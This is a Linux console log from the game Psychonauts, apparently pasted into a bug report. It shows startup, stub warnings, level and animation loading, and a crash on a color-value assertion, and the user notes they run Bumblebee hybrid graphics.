'WorkResource/SavedGames/savegameprefs.ini' to 'WorkResource/SAVEDGAMES/savegameprefs.ini' GameApp::StartUp m_pSaveLoadInterface->Startup() completed in 0.00 seconds GameApp::StartUp m_UserInterface.Setup() completed in 0.00 seconds STUBBED: multisample at EDisplayOptionsWidget (/home/icculus/projects/psychonauts/Source/game/luatest/Game/UIPCDisplayOptions.cpp:97) STUBBED: VK_* at CheckVirtualKey (/home/icculus/projects/psychonauts/Source/CommonLibs/DirectX/SDLInput.cpp:1443) Game: Engine Running hook startup Game: Engine -> SetupGlobalObjects Game: Engine -> SetupLevelMenu Game: Engine -> InitMath GameApp::StartUp InitLua2() completed in 0.00 seconds GameApp::StartUp SetupLevelMenu() completed in 0.00 seconds STUBBED: do we even use this? at InitSocket (/home/icculus/projects/psychonauts/Source/game/luatest/Game/Gameplaylogger.cpp:210) GameApp::StartUp Post-Install total completed in 0.20 seconds Start Up completed in 1.57 seconds UnixMain: StartUp successful.. Working directory: /opt/psychonauts STUBBED: dispatch SDL events at PCMainHandleAnyWindowsMessages (/home/icculus/projects/psychonauts/Source/game/luatest/UnixMain.cpp:56) STUBBED: write me at GetJoystickInput (/home/icculus/projects/psychonauts/Source/CommonLibs/DirectX/SDLInput.cpp:428) STUBBED: write me at GetJoystickActionValue (/home/icculus/projects/psychonauts/Source/CommonLibs/DirectX/SDLInput.cpp:613) PSYCHONAUTS UNIX FILENAME: corrected 'workresource/cutScenes/prerendered/dflogo.bik' to 'WorkResource/cutscenes/prerendered/DFLogo.bik' Prerender subtitle file: workresource\cutScenes\prerendered\dflogo.dfs not found PSYCHONAUTS UNIX FILENAME: corrected 'workresource/cutScenes/prerendered/dflogo.bik' to 'WorkResource/cutscenes/prerendered/DFLogo.bik' STUBBED: fixed function pipeline? at setColorOp (/home/icculus/projects/psychonauts/Source/CommonLibs/DFGraphics/Texture.cpp:2097) STUBBED: fixed function pipeline? at setColorArg1 (/home/icculus/projects/psychonauts/Source/CommonLibs/DFGraphics/Texture.cpp:2106) STUBBED: fixed function pipeline? at setColorArg2 (/home/icculus/projects/psychonauts/Source/CommonLibs/DFGraphics/Texture.cpp:2115) STUBBED: fixed function pipeline? at setAlphaOp (/home/icculus/projects/psychonauts/Source/CommonLibs/DFGraphics/Texture.cpp:2124) STUBBED: fixed function pipeline? at setAlphaArg1 (/home/icculus/projects/psychonauts/Source/CommonLibs/DFGraphics/Texture.cpp:2133) STUBBED: fixed function pipeline? at setAlphaArg2 (/home/icculus/projects/psychonauts/Source/CommonLibs/DFGraphics/Texture.cpp:2142) STUBBED: fixed function pipeline? at setProjected (/home/icculus/projects/psychonauts/Source/CommonLibs/DFGraphics/Texture.cpp:2223) LOC WARN: Could not open Localization file 'Localization/English/_StringTable.lub' STUBBED: memory status at UpdateMemoryTracking (/home/icculus/projects/psychonauts/Source/game/luatest/Game/GameApp.cpp:4884) WARN: Couldn't resize array to 128; out-of-bounds elements are still in use: Vertex Pool, 188 Loading new level 'STMU' STUBBED: Need multithreaded GL at DisplayLoadingScreen (/home/icculus/projects/psychonauts/Source/game/luatest/Game/LoadingScreen.cpp:83) ========================= Memory post unload level ========================= ========================= LOC WARN: Could not open Localization file 'Localization/English/ST_StringTable.lub' DaveD: Info: Texture pack file contains 137 textures Doing a texture readback for locking! Game: Engine Saved[GLOBAL]: InstaHintFord_HostileRecord = [table] Game: Engine Saved[GLOBAL]: InstaHintFord_HostileOrder = [table] WARN: Redundant packfile read: anims\thought_bubble\bubblefirestarting.jan WARN: Redundant packfile read: anims\thought_bubble\bubbleintothemind.jan WARN: Redundant packfile read: anims\thought_bubble\bubbleinvisibility.jan WARN: Redundant packfile read: anims\thought_bubble\bubblepopperfill.jan WARN: Redundant packfile read: anims\thought_bubble\bubbletelekinesis.jan Initializing level script (if there is one) PSYCHONAUTS UNIX FILENAME: corrected 'workresource/sounds/stfx.isb' to 'WorkResource/Sounds/stfx.isb' Game: Engine Reloading goals: Game: Engine Saved[GLOBAL]: NextEncouragement = '/GLZF014TO/ 10' Game: Engine Saved[GLOBAL]: bUsedSalts = 0 Game: Engine Saved[GLOBAL]: bSTEntered = 1 Game: Engine Saved[GLOBAL]: memoriesST = 1 Game: Engine Saved[GLOBAL]: PsiBallColor = 'red' Game: Engine Saved[ST]: lastSubLevel = 'STMU' Game: Engine LOADING LEVEL st.STMU Game: Engine Saved[CA]: CALevelState = 1 Game: Engine Cutscene progression: CS Script moving from state nil to state nil, resultant state nil. Time: 0.124746672809124. * Stack Trace 1: (null) (line -1, file '(none)) () 2: SpawnScript (line -1, file 'C) (global) 3: onBeginLevel (line -1, file '(none)) (field) 4: (null) (line -1, file '(none)) () WARN: Cannot call GetDirectoryListing when running from the DVD Game: Engine Raz spawning at DartStart startpoint VM : LevelScript could not find script 'doorrimlight1' * Stack Trace 1: (null) (line -1, file '(none)) () WARN: (none(-1) SetEntityAlpha LevelScript: NULL script object passed Game: Engine Saved[GLOBAL]: bLoadedFromMainMenu = 1 Game: Engine Saved[GLOBAL]: NextEncouragement = '/GLZF014TO/ 10' Game: Engine Saved[GLOBAL]: NeedRankIncrement = 0 STUBBED: Need multithreaded GL at HideLoadingScreen (/home/icculus/projects/psychonauts/Source/game/luatest/Game/LoadingScreen.cpp:110) WARN: ENGINE: Lua garbage collection starting FreeUnusedBlocksInBuckets released 0 Kb Game: Engine Saved[GLOBAL]: SplineFigmentTVSizex = 4.51434326171875 Game: Engine Saved[GLOBAL]: SplineFigmentTVSizey = 46.38104248046875 Game: Engine Saved[GLOBAL]: SplineFigmentTVSizez = 47.08810424804688 WARN: (none(-1) SetNewAction LevelScript: no string passed ====================== Asset load progression ====================== Initial: 2.518 MB Vertex, 8.688 MB Texture Level : 3.719 MB Vertex, 22.535 MB Texture Scripts: 3.747 MB Vertex, 22.848 MB Texture ====================== ====================== Memory post level load ====================== ====================== WARN: ENGINE: Lua garbage collection starting FreeUnusedBlocksInBuckets released 0 Kb DaveD: Level loaded in 0.14 seconds Anim: anims\objects\tk_arrow_idle.jan: loaded (1 frames latency) Anim: anims\dartnew\helmet\darthelmetdn.jan: loaded (1 frames latency) Anim: anims\thought_bubble\shieldloop.jan: loaded (1 frames latency) Anim: anims\dartnew\standready.jan: loaded (1 frames latency) Anim: anims\dartnew\walkmove.jan: loaded (1 frames latency) Anim: anims\janitor\hint_end.jan: loaded (1 frames latency) Anim: anims\thought_bubble\ballstatic.jan: loaded (1 frames latency) Anim: anims\dartnew\actionfall.jan: loaded (1 frames latency) Anim: anims\dartnew\standstill.jan: loaded (1 frames latency) Anim: anims\dartnew\pack\packbounce_lf_rt.jan: loaded (1 frames latency) Anim: anims\dartnew\pack\packbounce_up_dn.jan: loaded (1 frames latency) Anim: anims\dartnew\helmet\darthelmetdefpose.jan: loaded (1 frames latency) 1: 1 (number) 1: 1 (number) STUBBED: This is probably wrong at GetDt (/home/icculus/projects/psychonauts/Source/CommonLibs/DFUtil/Profiler.cpp:181) STUBBED: set specular highlights at setSpecularEnable (/home/icculus/projects/psychonauts/Source/CommonLibs/DFGraphics/Renderer.cpp:2035) Anim: anims\dartnew\trnrtcycle.jan: loaded (1 frames latency) Anim: anims\dartnew\run.jan: loaded (1 frames latency) Anim: anims\dartnew\walk.jan: loaded (1 frames latency) Anim: anims\thought_bubble\bubbledoublejump.jan: loaded (1 frames latency) Anim: anims\dartnew\longjump.jan: loaded (1 frames latency) Anim: anims\menubrain\door1crack.jan: loaded (1 frames latency) Anim: anims\menubrain\door1crackedidle.jan: loaded (1 frames latency) Anim: anims\menubrain\door1closedidle.jan: loaded (1 frames latency) Anim: anims\dartnew\180.jan: loaded (1 frames latency) Anim: anims\menubrain\door3crack.jan: loaded (1 frames latency) Anim: anims\menubrain\door3crackedidle.jan: loaded (1 frames latency) Anim: anims\menubrain\door3closedidle.jan: loaded (1 frames latency) Anim: anims\dartnew\railslide45angle.jan: loaded (1 frames latency) Anim: anims\dartnew\railslideflat.jan: loaded (1 frames latency) Anim: anims\dartnew\trnlfcycle.jan: loaded (1 frames latency) WARN: (none(-1) SetNewAction LevelScript: no string passed Anim: anims\dartnew\mainmenu_jump.jan: loaded (1 frames latency) Anim: anims\menubrain\door1open.jan: loaded (1 frames latency) ERROR: Assert in /home/icculus/projects/psychonauts/Source/game/luatest/../../CommonLibs/Include/../DFGraphics/Color.h, line 96 v.x >= 0.0f && v.x <= 1.0f && v.y >= 0.0f && v.y <= 1.0f && v.z >= 0.0f && v.z <= 1.0f && v.w >= 0.0f && v.w <= 1.0f Encountered Error: Psychonauts has encountered an error /home/icculus/projects/psychonauts/Source/game/luatest/../../CommonLibs/Include/../DFGraphics/Color.h, line 96 v.x >= 0.0f && v.x <= 1.0f && v.y >= 0.0f && v.y <= 1.0f && v.z >= 0.0f && v.z <= 1.0f && v.w >= 0.0f && v.w <= 1.0f Please contact technical support at http://www.doublefine.com. I am currently using Bumblebee for hybrid graphics, if that helps in any way.

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